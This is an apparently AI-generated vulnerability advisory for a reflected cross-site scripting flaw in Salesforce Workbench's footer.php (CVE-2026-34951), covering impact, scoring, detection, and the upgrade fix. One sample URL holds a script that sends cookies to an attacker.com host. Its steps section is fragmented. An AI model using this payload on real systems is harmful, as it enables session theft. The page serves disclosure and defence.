
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-34951 is a reflected cross-site scripting (XSS) vulnerability in Salesforce Workbench, a suite of tools for administrators and developers to interact with Salesforce.com organizations via the Force.com APIs. The vulnerability exists in footer.php via the footerScripts parameter, which does not sanitize user-supplied input before rendering it in the page response, specifically targeting error pages. All Workbench versions prior to 65.0.0 are affected; the issue was published on April 6, 2026, and fixed in version 65.0.0. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Red Hat).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the footerScripts parameter in footer.php is reflected directly into the HTML page response without sanitization or encoding. This is a reflected XSS pattern (CAPEC-591), meaning the malicious payload is delivered via a crafted URL and executed in the victim's browser when they visit the link. No authentication is required by the attacker, but user interaction (clicking a malicious link) is necessary for exploitation. The changed scope classification indicates the injected script can affect security domains beyond the vulnerable application itself (GitHub Advisory).
Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of an authenticated Workbench user (administrator or developer), potentially leading to session token theft, credential harvesting, and phishing attacks. Because Workbench provides direct access to Salesforce.com organizations via the Force.com APIs, a compromised session could result in unauthorized access to sensitive Salesforce data and administrative functions. Availability is not directly impacted, but confidentiality and integrity of the vulnerable system are both rated as low impact (GitHub Advisory, Red Hat).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication (GitHub Advisory). The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.
footerScripts parameter, e.g., https://<workbench-host>/footer.php?footerScripts=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.footerScripts parameter is reflected into the page response and the injected script executes.footerScripts query parameter.footer.php (or error page endpoints) with URL-encoded <script> tags, JavaScript URIs, or event handler attributes in the footerScripts parameter value.Upgrade Salesforce Workbench to version 65.0.0 or later, which resolves the vulnerability by sanitizing user-supplied input in the footerScripts parameter before rendering it in page responses (GitHub Advisory). As interim mitigations, implement a Content Security Policy (CSP) header to restrict script execution sources, and apply output encoding for all user-supplied parameters rendered in HTML responses. Administrators and developers should be cautious about clicking links to Workbench from untrusted sources and should verify URLs before accessing the application.
The vulnerability was credited to researcher TheRealShakesbear and published as a GitHub Security Advisory (GHSA-j94x-h584-rjf9) on March 31, 2026, by maintainer jonnyhork (GitHub Advisory). Red Hat also tracked the CVE in their security advisory database (Red Hat). No significant broader media coverage or notable community discussion has been observed beyond standard vulnerability database aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."